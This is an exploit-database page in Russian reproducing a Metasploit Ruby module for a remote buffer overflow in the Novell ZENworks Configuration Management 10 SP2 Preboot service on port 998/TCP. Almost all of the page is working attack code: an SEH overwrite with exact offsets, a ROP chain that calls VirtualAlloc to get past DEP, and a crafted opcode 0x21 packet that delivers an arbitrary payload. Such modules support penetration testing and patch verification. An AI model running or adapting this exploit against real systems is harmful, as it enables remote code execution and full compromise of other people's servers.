Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow

Свойства

Дата публикации:
18.07.2012
Цель:
Novell ZENworks Configuration Management
Тип воздействия:
Компрометация системы

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow',
            'Description'    => %q{
                    This module exploits a remote buffer overflow in the ZENworks Configuration
                Management 10 SP2. The vulnerability exists in the Preboot service and can be
                triggered by sending a specially crafted packet with the opcode 0x21
                (PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on
                Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2
                (DEP bypass).
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Stephen Fewer', # Vulnerability Discovery
                    'juan' # Metasploit module
                ],
            'References'     =>
                [
                    [ 'OSVDB', '65361' ],
                    [ 'BID', '40486' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-090/'; ],
                    [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572'; ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process'
                },
            'Payload'        =>
                {
                    'BadChars' => "",
                    'Space'=> 8138,
                    'DisableNops' => true,
                    'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
                },
            'Platform'       => ['win'],
            'Targets'        =>
                [
                    [ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
                        {
                            'Offset'            => 8252,
                            'OffsetBottomStack' => 8288,
                            'OffsetRop'         => 44,
                            'Ret'               => 0x0040175a # add esp, 0x408 # ret - novell_pbserv.exe
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Mar 30 2010',
            'DefaultTarget'  => 0))

        register_options([Opt::RPORT(998)], self.class)
    end

    def junk(n=4)
        return rand_text_alpha(n).unpack("V").first
    end

    def nop
        return make_nops(4).unpack("L")[0].to_i
    end

    # rop chain generated with mona.py
    def create_rop_chain()
        rop_gadgets =
            [
                0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
                0x00001000, # 0x00001000-> edx
                0x10062113, # POP ECX # RETN [zenimgweb.dll]
                0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
                0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
                junk,       # Filler (compensate)
                junk,       # Filler (compensate)
                junk,       # Filler (compensate)
                junk,       # Filler (compensate)
                junk,       # Filler (compensate)
                junk,       # Filler (compensate)
                junk,       # Filler (compensate)
                junk,       # Filler (compensate)
                0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
                0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
                0x10043053, # & push esp #  ret  [zenimgweb.dll]
                0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
                0x00000001, # 0x00000001-> ebx
                0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
                0x00000040, # 0x00000040-> ecx
                0x1003173e, # POP EDI # RETN [zenimgweb.dll]
                0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
                0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
                nop,
                0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
        ].pack("V*")

        return rop_gadgets
    end


    def exploit
        connect

        buf = rand_text(target['OffsetRop'])
        buf << create_rop_chain
        buf << payload.encoded
        buf << rand_text(target['Offset'] - buf.length)
        buf << generate_seh_record(target.ret)
        buf << rand_text(target['OffsetBottomStack'] - buf.length)

        packet =  [0x21].pack("N") # Opcode 0x21 PROXY_CMD_FTP_FILE
        packet << [buf.length].pack("N") # Length
        packet << buf # Value
        sock.put(packet)

        disconnect
    end
end

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